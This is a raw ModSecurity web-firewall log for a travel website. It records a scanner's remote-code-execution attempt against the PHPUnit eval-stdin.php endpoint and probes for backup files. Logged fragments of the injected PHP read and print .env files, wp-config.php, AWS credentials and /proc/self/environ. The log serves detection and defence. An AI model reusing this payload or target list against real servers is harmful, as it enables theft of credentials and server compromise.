[Fri Jul 17 08:55:18.383902 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.384413 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.384537 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.384781 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.385306 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.385441 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.387444 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.390998 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.391320 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.397118 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.json.bak"] [unique_id "almgng7FYe46zHK_jL3P1AAAABk"]
[Fri Jul 17 08:55:18.397607 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.json.bak"] [unique_id "almgng7FYe46zHK_jL3P1AAAABk"]
[Fri Jul 17 08:55:18.397731 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.397902 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng7FYe46zHK_jL3P1AAAABk"]
[Fri Jul 17 08:55:18.399571 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "file_get_contents" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "295"] [id "933150"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: file_get_contents found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/def..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/ [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.404008 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.409193 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.413957 2026] [authz_core:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-content/uploads/error_log
[Fri Jul 17 08:55:18.414114 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.417434 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.php.swp"] [unique_id "almgnol9vhFBGA6D8l96AQAAAAw"]
[Fri Jul 17 08:55:18.418181 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.php.swp"] [unique_id "almgnol9vhFBGA6D8l96AQAAAAw"]
[Fri Jul 17 08:55:18.418353 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.418531 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnol9vhFBGA6D8l96AQAAAAw"]
[Fri Jul 17 08:55:18.422035 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.424601 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/settings.py.bak"] [unique_id "almgnlCBpfuYyhJ140vSpAAAAB4"]
[Fri Jul 17 08:55:18.425334 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/settings.py.bak"] [unique_id "almgnlCBpfuYyhJ140vSpAAAAB4"]
[Fri Jul 17 08:55:18.425512 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.425740 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnlCBpfuYyhJ140vSpAAAAB4"]
[Fri Jul 17 08:55:18.437333 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 70)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
[Fri Jul 17 08:55:18.437525 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.437738 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 70 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=40,PHPI=10,HTTP=0,SESS=0): individual paranoia level scores: 70, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnkkXT4NBqALj2lZ8tAAAABA"]
